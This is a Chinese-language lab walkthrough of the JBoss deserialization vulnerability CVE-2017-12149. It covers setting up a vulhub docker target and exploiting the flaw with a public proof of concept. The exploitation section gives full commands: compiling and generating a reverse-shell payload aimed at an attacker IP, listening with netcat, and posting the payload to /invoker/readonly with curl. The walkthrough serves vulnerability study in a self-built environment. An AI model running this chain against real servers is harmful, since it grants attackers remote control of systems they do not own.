一、漏洞描述
2017年8月30日,廠商Redhat釋出了一個JBOSSAS 5.x 的反序列化遠端程式碼執行漏洞通告。該漏洞位於JBoss的HttpInvoker元件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的情況下嘗試將來自客戶端的序列化資料流進行反序列化,導致攻擊者可以通過精心設計的序列化資料來執行任意程式碼。但近期有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需使用者驗證在系統上執行任意命令,獲得伺服器的控制權。CNVD對該漏洞的綜合評級為“高危”。
二、漏洞環境搭建
需要準備的工具如下:
1.docker+vulhub漏洞庫
2.漏洞POC:下載連結https://github.com/joaomatosf/JavaDeserH2HC
3.攻擊機kali(版本隨意)
4.靶機Ubuntu18.04(其他也可以)
開啟Ubuntu虛擬機器,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有先安裝docker+vulhub
root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-12149#
執行命令
root@admin666-virtual-machine:~/vulhub-master/jboss/CVE-2017-12149# docker-compose up -d
等到出現以下頁面說明已經搭建完成
可以訪問http://your-ip:8080
,出現如下頁面證明環境搭建成功!
三、漏洞利用
1.檢測目錄,訪問http://your-ip:8080/invoker/readonly
,出現如下頁面證明漏洞存在
2.進入kali利用POC進行驗證
先把POC克隆到kali中,執行命令
git clone https://github.com/joaomatosf/JavaDeserH2HC
進入JavaDeserH2HC目錄,執行
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
設定接收shell的IP和埠
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 攻擊機IP:監聽埠
使用nc監聽埠
nc -lvvp 監聽埠
用攻擊機傳送payload,在JavaDeserH2HC目錄下執行
curl http://your-ip:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
檢視監聽埠返回的shell,可以執行命令,至此漏洞驗證完成
關閉docker環境
docker-compose -down